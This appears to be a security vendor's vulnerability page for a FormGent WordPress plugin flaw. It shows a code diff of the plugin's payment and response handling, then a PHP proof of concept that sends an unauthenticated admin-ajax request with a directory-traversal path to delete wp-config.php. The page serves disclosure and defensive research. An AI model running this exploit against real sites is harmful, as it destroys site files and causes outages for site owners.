                     'message' => esc_html__( 'Order not found.', 'formgent' )
-                ], 404
+                ],
+                404
             );
         }

@@ -130,7 +132,8 @@
             return Response::send(
                 [
                     'message' => esc_html__( 'Order is already paid.', 'formgent' )
-                ], 400
+                ],
+                400
             );
         }

@@ -141,21 +144,23 @@
             return Response::send(
                 [
                     'message' => esc_html__( 'Order items not found.', 'formgent' )
-                ], 404
+                ],
+                404
             );
         }

         $payment_repository = formgent_payment_repository();
         $last_payment       = $payment_repository->get_by_order_id_last( $order->id );
         $payment_method     = $last_payment->method;
-
+
         $payment_gateways = formgent_get_payment_gateways();

         if ( ! isset( $payment_gateways[$payment_method] ) ) {
             return Response::send(
                 [
                     'message' => esc_html__( 'Payment method not found.', 'formgent' )
-                ], 404
+                ],
+                404
             );
         }

@@ -181,7 +186,7 @@
         $payment_dto = ( new PaymentDTO )
             ->set_order_id( $order_dto->get_id() )
             ->set_amount( $last_payment->amount )
-            ->set_currency( $last_payment->amount )
+            ->set_currency( $order->currency )
             ->set_method( $payment_method );

         $payment_dto->set_id( formgent_payment_repository()->create( $payment_dto ) );
--- a/formgent/app/Http/Controllers/ResponseController.php
+++ b/formgent/app/Http/Controllers/ResponseController.php
@@ -100,8 +100,17 @@
         }

         if ( ! empty( $validate_data['field_dtos'] ) ) {
+            // Save & Resume / partial-entry flows may have already stored draft answers
+            // against this response token. On final submit, replace existing answers
+            // to avoid duplicated rows in the completed entry.
+            try {
+                Answer::query()->where( 'response_id', $response->id )->delete();
+            } catch ( Throwable $e ) {
+                // If deletion fails for any reason, continue with insert to avoid blocking submit.
+            }
+
             $this->answer_repository->creates( $response->id, $validate_data['field_dtos'] );
-
+
             // Handle child fields if present.
             if ( ! empty( $validate_data['parent_field_names'] ) ) {
                 $this->handle_child_fields( $response->id, $validate_data );
@@ -111,18 +120,18 @@
         $this->repository->mark_as_completed( $response->id );

         $response->is_completed = 1;
-
+
         // Trigger the after response creation hook.
         do_action( "formgent_after_create_form_response", $response->id, $form, $request );

         // Return a success response.
         return Response::send(
             apply_filters(
-                'formgent_form_submission_response',
+                'formgent_form_submission_response',
                 [ 'message' => esc_html__( 'The form was submitted successfully!', 'formgent' ) ],
                 $request, $form, $response
-            ),
-            201
+            ),
+            201
         );
     }

@@ -218,9 +227,9 @@
             foreach ( $dtos as $dto ) {
                 /**
                  * @var AnswerDTO $dto
-                 *
+                 *
                  * Prepare the AnswerDTO for storing in the database.
-                 *
+                 *
                  * - Set the parent ID of the answer (from the previously retrieved parent field IDs).
                  * - Set the response ID to associate this answer with the current form response.
                  * - Convert the DTO to an array for insertion into the database.
@@ -250,11 +259,11 @@

         $field_dtos = [];
         $errors     = [];
-
+
         if ( ! is_array( $form_data ) ) {
             return compact( 'field_dtos', 'errors' );
         }
-
+
         $children_request->set_body_params( $form_data );
         $validator->wp_rest_request = $children_request;
         $registered_fields          = formgent_config( "fields" );
@@ -316,7 +325,7 @@
                 ], 404
             );
         }
-
+
         $dto = new ResponseDTO;
         $dto->set_status( ResponseStatus::DRAFT )->set_is_completed( 0 )->set_form_id( $form_id );

--- a/formgent/app/Models/ResponseLog.php
+++ b/formgent/app/Models/ResponseLog.php
@@ -0,0 +1,19 @@
+<?php
+
+namespace FormGentAppModels;
+
+defined( 'ABSPATH' ) || exit;
+
+use FormGentWpMVCApp;
+use FormGentWpMVCDatabaseResolver;
+use FormGentWpMVCDatabaseEloquentModel;
+
+class ResponseLog extends Model {
+    public static function get_table_name(): string {
+        return 'formgent_response_logs';
+    }
+
+    public function resolver(): Resolver {
+        return App::$container->get( Resolver::class );
+    }
+}
--- a/formgent/app/PaymentProcessors/Paypal.php
+++ b/formgent/app/PaymentProcessors/Paypal.php
@@ -18,7 +18,8 @@
 use FormGentWpMVCRequestValidatorValidator;
 use FormGentAppContractsPaymentInterface;

-class Paypal implements PaymentInterface {
+class Paypal implements PaymentInterface
+{
     protected PaymentProcessor $payment_processor;

     public function __construct() {
@@ -33,6 +34,12 @@
     }

     public function pay( PayDTO $pay_dto ) {
+        // Allow formgent-pro to handle subscription approval.
+        $result = apply_filters( 'formgent_paypal_pay', null, $pay_dto );
+        if ( $result !== null ) {
+            return $result;
+        }
+
         $return_url_args = [
             'order_id'   => $pay_dto->order->get_id(),
             'payment_id' => $pay_dto->payment->get_id(),
@@ -99,6 +106,12 @@
     }

     public function success( Validator $validator, WP_REST_Request $request ): PaymentReturnDTO {
+        // Allow formgent-pro to handle subscription callbacks (before legacy validation).
+        $result = apply_filters( 'formgent_paypal_success', null, $validator, $request );
+        if ( $result !== null ) {
+            return $result;
+        }
+
         $validator->validate(
             [
                 'token'      => 'required|string',
--- a/formgent/app/PaymentProcessors/Stripe.php
+++ b/formgent/app/PaymentProcessors/Stripe.php
@@ -13,7 +13,8 @@
 use FormGentStripeStripe as StripeSDK;
 use WP_REST_Request;

-class Stripe implements PaymentInterface {
+class Stripe implements PaymentInterface
+{
     public string $secret_key = '';

     public function __construct() {
@@ -22,16 +23,22 @@

         $this->secret_key = $payment_settings['stripe']['secret_key'];
     }
-
+
     public static function get_key(): string {
         return 'stripe';
     }

     public function pay( PayDTO $pay_dto ) {
+        // Allow formgent-pro to handle subscription sessions.
+        $result = apply_filters( 'formgent_stripe_pay', null, $pay_dto );
+        if ( $result !== null ) {
+            return $result;
+        }
+
         StripeSDK::setApiKey( $this->secret_key );

-        $success_url = add_query_arg( [ 'session_id' => "{CHECKOUT_SESSION_ID}" ], get_rest_url( null, '/formgent/payment/success/stripe' ) );
-        $cancel_url  = add_query_arg( [ 'order_id' => $pay_dto->order->get_id(), 'payment_id' => $pay_dto->payment->get_id(), ], get_rest_url( null, '/formgent/payment/cancel/stripe' ) );
+        $success_url = add_query_arg( ['session_id' => "{CHECKOUT_SESSION_ID}"], get_rest_url( null, '/formgent/payment/success/stripe' ) );
+        $cancel_url  = add_query_arg( ['order_id' => $pay_dto->order->get_id(), 'payment_id' => $pay_dto->payment->get_id(),], get_rest_url( null, '/formgent/payment/cancel/stripe' ) );

         $line_items = [];

@@ -90,18 +97,26 @@

         $session_id = $request->get_param( 'session_id' );

-        $session        = Session::retrieve( $session_id );
+        $session = Session::retrieve( $session_id, ['expand' => ['subscription', 'customer_details']] );
+
+        // Allow formgent-pro to handle subscription sessions.
+        $result = apply_filters( 'formgent_stripe_success', null, $session, $request );
+        if ( $result !== null ) {
+            return $result;
+        }
+
+        // One-time payment path (unchanged).
         $payment_intent = PaymentIntent::retrieve( $session->payment_intent );
         $transaction_id = $payment_intent->id;
         $meta_data      = $payment_intent->metadata;

         $dto = ( new PaymentReturnDTO )
-        ->set_order_id( $meta_data->order_id )
-        ->set_payment_id( $meta_data->payment_id )
-        ->set_transaction_id( $transaction_id )
-        ->set_billing_email( $session->customer_details->email )
-        ->set_billing_name( $session->customer_details->name )
-        ->set_billing_country( $session->customer_details->address->country );
+            ->set_order_id( $meta_data->order_id )
+            ->set_payment_id( $meta_data->payment_id )
+            ->set_transaction_id( $transaction_id )
+            ->set_billing_email( $session->customer_details->email )
+            ->set_billing_name( $session->customer_details->name )
+            ->set_billing_country( $session->customer_details->address->country );

         return $dto;
     }
--- a/formgent/app/Providers/PaymentServiceProvider.php
+++ b/formgent/app/Providers/PaymentServiceProvider.php
@@ -14,7 +14,8 @@
 use FormGentWpMVCExceptionsException;
 use FormGentWpMVCViewView;

-class PaymentServiceProvider implements Provider {
+class PaymentServiceProvider implements Provider
+{
     public function boot() {
         add_filter( 'formgent_form_submission_response', [$this, 'maybe_add_payment_data'], 10, 4 );
         add_shortcode( 'formgent_payment_success', [$this, 'payment_success_shortcode'] );
@@ -44,6 +45,42 @@

         [$order_items, $order_total_amount] = $this->build_order_items( $fields, $form_data );

+        // Resolve the payment block field for subscription meta/validation.
+        $payment_field_attr = null;
+        foreach ( $fields as $field ) {
+            if ( ( $field['field_type'] ?? '' ) === 'payment' ) {
+                $payment_field_attr = $field;
+                break;
+            }
+        }
+        $is_subscription = ( ( $payment_field_attr['payment_type'] ?? '' ) === 'subscription' );
+
+        // Enforce allowed gateways for subscriptions (filterable by pro).
+        $allowed_gateways = apply_filters( 'formgent_subscription_allowed_gateways', ['stripe'], $payment_field_attr );
+        if ( $is_subscription && ! in_array( $payment_gateway, $allowed_gateways, true ) ) {
+            return array_merge(
+                $response_data,
+                [
+                    'payment_data' => [
+                        'success' => false,
+                        'message' => __( 'The selected payment method does not support subscriptions.', 'formgent' ),
+                        'code'    => 422,
+                    ],
+                ]
+            );
+        }
+
+        // Build subscription meta (populated by formgent-pro).
+        $subscription_meta = [];
+        if ( $is_subscription && $payment_field_attr ) {
+            $subscription_meta = apply_filters(
+                'formgent_subscription_payment_meta',
+                [],
+                $payment_field_attr,
+                $form_data
+            );
+        }
+
         $currency = formgent_settings_repository()->get_by_key( 'payment', [] )['currency'] ?? 'USD';

         $order_dto = ( new OrderDTO )
@@ -67,7 +104,29 @@
         $dto = ( new PayDTO )
             ->set_order( $order_dto )
             ->set_payment( $payment_dto )
-            ->set_order_items( $order_item_dtos );
+            ->set_order_items( $order_item_dtos )
+            ->set_meta( $subscription_meta );
+
+        // Persist subscription meta for admin display and scheduled cancellations.
+        if ( $is_subscription && ! empty( $subscription_meta ) ) {
+            $meta_value = wp_json_encode(
+                array_merge(
+                    $subscription_meta,
+                    [
+                        'payment_id'  => $payment_dto->get_id(),
+                        'order_id'    => $order_dto->get_id(),
+                        'response_id' => $response->id,
+                        'gateway'     => $payment_gateway,
+                        'currency'    => $currency,
+                    ]
+                )
+            );
+            formgent_response_repository()->update_meta(
+                $response->id,
+                'formgent_subscription_meta_' . $payment_dto->get_id(),
+                $meta_value
+            );
+        }

         try {
             $response_data['payment_data'] = [
@@ -99,6 +158,21 @@
         $items = [];
         $total = 0;

+        // Check if we have a unified payment block
+        $has_unified_payment = false;
+        foreach ( $fields as $name => $field ) {
+            if ( $field['field_type'] === 'payment' ) {
+                $has_unified_payment = true;
+                break;
+            }
+        }
+
+        // If unified payment block exists, use it exclusively
+        if ( $has_unified_payment ) {
+            return $this->build_unified_order_items( $fields, $form_data );
+        }
+
+        // Legacy path: payment-item + custom-payment-amount + quantity
         $quantity_fields = $this->get_quantity_field_map( $fields );

         foreach ( $fields as $name => $field ) {
@@ -110,7 +184,8 @@

             switch ( $field['field_type'] ) {
                 case 'payment-item':
-                    if ( ! isset( $form_data[$name] ) ) break;
+                    if ( ! isset( $form_data[$name] ) )
+                        break;

                     $display_type = $field['product_display_type'] ?? 'single';

@@ -148,8 +223,10 @@

                         case 'radio':
                         case 'dropdown':
+                        case 'select':
                             $option = array_find(
-                                $field['options'], function ( $option ) use ( $form_data, $name ) {
+                                $field['options'],
+                                function ( $option ) use ( $form_data, $name ) {
                                     return $option['value'] === $form_data[$name];
                                 }
                             );
@@ -170,7 +247,8 @@
                     break;

                 case 'custom-payment-amount':
-                    if ( ! isset( $form_data[$name] ) ) break;
+                    if ( ! isset( $form_data[$name] ) )
+                        break;

                     $unit   = abs( (float) ( $form_data[$name] ?? 0 ) );
                     $amount = $unit * $quantity;
@@ -186,6 +264,160 @@
             }
         }

+        return [$items, $total];
+    }
+
+    /**
+     * Build order items from the unified payment block configuration.
+     */
+    private function build_unified_order_items( array $fields, array $form_data ): array {
+        $items = [];
+        $total = 0;
+
+        $payment_field = null;
+        $payment_name  = null;
+
+        foreach ( $fields as $name => $field ) {
+            if ( $field['field_type'] === 'payment' ) {
+                $payment_field = $field;
+                $payment_name  = $name;
+                break;
+            }
+        }
+
+        if ( ! $payment_field ) {
+            return [$items, $total];
+        }
+
+        $payment_type = $payment_field['payment_type'] ?? 'one_time';
+        if ( $payment_type === 'subscription' ) {
+            // Processing is delegated to formgent-pro via filter.
+            return apply_filters( 'formgent_build_subscription_order_items', [$items, $total], $payment_field, $fields, $form_data );
+        }
+        if ( $payment_type !== 'one_time' ) {
+            return [$items, $total];
+        }
+
+        $amount_type       = $payment_field['amount_type'] ?? 'fixed';
+        $quantity_enabled  = ! empty( $payment_field['quantity_enabled'] );
+        $quantity_apply_to = $payment_field['quantity_apply_to'] ?? [];
+
+        if ( $amount_type === 'fixed' ) {
+            // Fixed amount uses a single payment-level quantity input
+            $quantity = 1;
+            if ( $quantity_enabled ) {
+                $qty_field_name = $payment_name . '_quantity';
+                $quantity       = abs( (int) ( $form_data[$qty_field_name] ?? 1 ) );
+                if ( $quantity < 1 )
+                    $quantity   = 1;
+            }
+
+            $unit    = abs( (float) ( $payment_field['fixed_price'] ?? 0 ) );
+            $amount  = $unit * $quantity;
+            $items[] = [
+                'title'        => $payment_field['fixed_label'] ?? __( 'Payment', 'formgent' ),
+                'unit_amount'  => $unit,
+                'quantity'     => $quantity,
+                'total_amount' => $amount,
+            ];
+            $total  += $amount;
+        } elseif ( $amount_type === 'from_fields' ) {
+            // Amount from selected fields — each field has its own per-field quantity
+            $amount_field_names = $payment_field['amount_fields'] ?? [];
+
+            foreach ( $amount_field_names as $field_name ) {
+                if ( ! isset( $fields[$field_name], $form_data[$field_name] ) ) {
+                    continue;
+                }
+
+                $ref_field = $fields[$field_name];
+                $ref_type  = $ref_field['field_type'] ?? '';
+
+                // Read per-field quantity from form data
+                $apply_qty = $quantity_enabled && ! empty( $quantity_apply_to ) && in_array( $field_name, $quantity_apply_to, true );
+                if ( $apply_qty ) {
+                    $per_field_qty_key               = $field_name . '_quantity';
+                    $field_qty                       = abs( (int) ( $form_data[$per_field_qty_key] ?? 1 ) );
+                    if ( $field_qty < 1 ) $field_qty = 1;
+                } else {
+                    $field_qty = 1;
+                }
+
+                switch ( $ref_type ) {
+                    case 'number':
+                    case 'custom-payment-amount':
+                        $unit    = abs( (float) ( $form_data[$field_name] ?? 0 ) );
+                        $amount  = $unit * $field_qty;
+                        $items[] = [
+                            'title'        => $ref_field['label'] ?? $field_name,
+                            'unit_amount'  => $unit,
+                            'quantity'     => $field_qty,
+                            'total_amount' => $amount,
+                        ];
+                        $total  += $amount;
+                        break;
+
+                    case 'single-choice':
+                    case 'dropdown':
+                        // Single selection - match option price
+                        if ( ! empty( $ref_field['options'] ) ) {
+                            $selected_value = $form_data[$field_name];
+                            // Could be an object like { value: true } or just a string
+                            if ( is_array( $selected_value ) ) {
+                                // Extract the actual selected value from the object
+                                foreach ( $selected_value as $val => $checked ) {
+                                    if ( $checked ) {
+                                        $selected_value = $val;
+                                        break;
+                                    }
+                                }
+                            }
+                            foreach ( $ref_field['options'] as $opt ) {
+                                $raw_unit = $opt['price'] ?? ( $opt['numeric_value'] ?? ( $opt['numericValue'] ?? null ) );
+                                if ( $opt['value'] === $selected_value && $raw_unit !== null && $raw_unit !== '' ) {
+                                    $unit    = abs( (float) $raw_unit );
+                                    $amount  = $unit * $field_qty;
+                                    $items[] = [
+                                        'title'        => $opt['label'] ?? $field_name,
+                                        'unit_amount'  => $unit,
+                                        'quantity'     => $field_qty,
+                                        'total_amount' => $amount,
+                                    ];
+                                    $total  += $amount;
+                                    break;
+                                }
+                            }
+                        }
+                        break;
+
+                    case 'multiple-choice':
+                        // Multi selection - sum selected options' prices
+                        if ( ! empty( $ref_field['options'] ) && is_array( $form_data[$field_name] ) ) {
+                            foreach ( $form_data[$field_name] as $val => $checked ) {
+                                if ( ! $checked )
+                                    continue;
+                                foreach ( $ref_field['options'] as $opt ) {
+                                    $raw_unit = $opt['price'] ?? ( $opt['numeric_value'] ?? ( $opt['numericValue'] ?? null ) );
+                                    if ( $opt['value'] === $val && $raw_unit !== null && $raw_unit !== '' ) {
+                                        $unit    = abs( (float) $raw_unit );
+                                        $amount  = $unit * $field_qty;
+                                        $items[] = [
+                                            'title'        => $opt['label'] ?? $val,
+                                            'unit_amount'  => $unit,
+                                            'quantity'     => $field_qty,
+                                            'total_amount' => $amount,
+                                        ];
+                                        $total  += $amount;
+                                        break;
+                                    }
+                                }
+                            }
+                        }
+                        break;
+                }
+            }
+        }
+
         return [$items, $total];
     }

--- a/formgent/app/Providers/PostTypeServiceProvider.php
+++ b/formgent/app/Providers/PostTypeServiceProvider.php
@@ -306,6 +306,45 @@
                 },
             ]
         );
+
+        /**
+         * Form type meta (classic/general vs conversational)
+         */
+        register_post_meta(
+            'formgent_form', '_formgent_type', [
+                'type'          => 'string',
+                'single'        => true,
+                'default'       => 'general',
+                'show_in_rest'  => [
+                    'schema' => [
+                        'type' => 'string',
+                    ],
+                ],
+                'auth_callback' => function() {
+                    return current_user_can( 'edit_posts' );
+    

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22460 - FormGent – Next-Gen AI Form Builder for WordPress with Multi-Step, Quizzes, Payments & More <= 1.4.2 - Unauthenticated Arbitrary File Deletion

<?php

$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// The vulnerable AJAX action
$action = 'formgent_file_upload_delete';

// Payload to delete wp-config.php using directory traversal
// Adjust the number of '../' based on the server's directory structure
$file_path = '../../../../wp-config.php';

// Prepare POST data
$post_data = array(
    'action' => $action,
    'file_path' => $file_path
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check result
if ($response === false) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false) {
        echo "[+] File deletion likely successfuln";
    } else {
        echo "[-] File deletion may have failedn";
    }
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School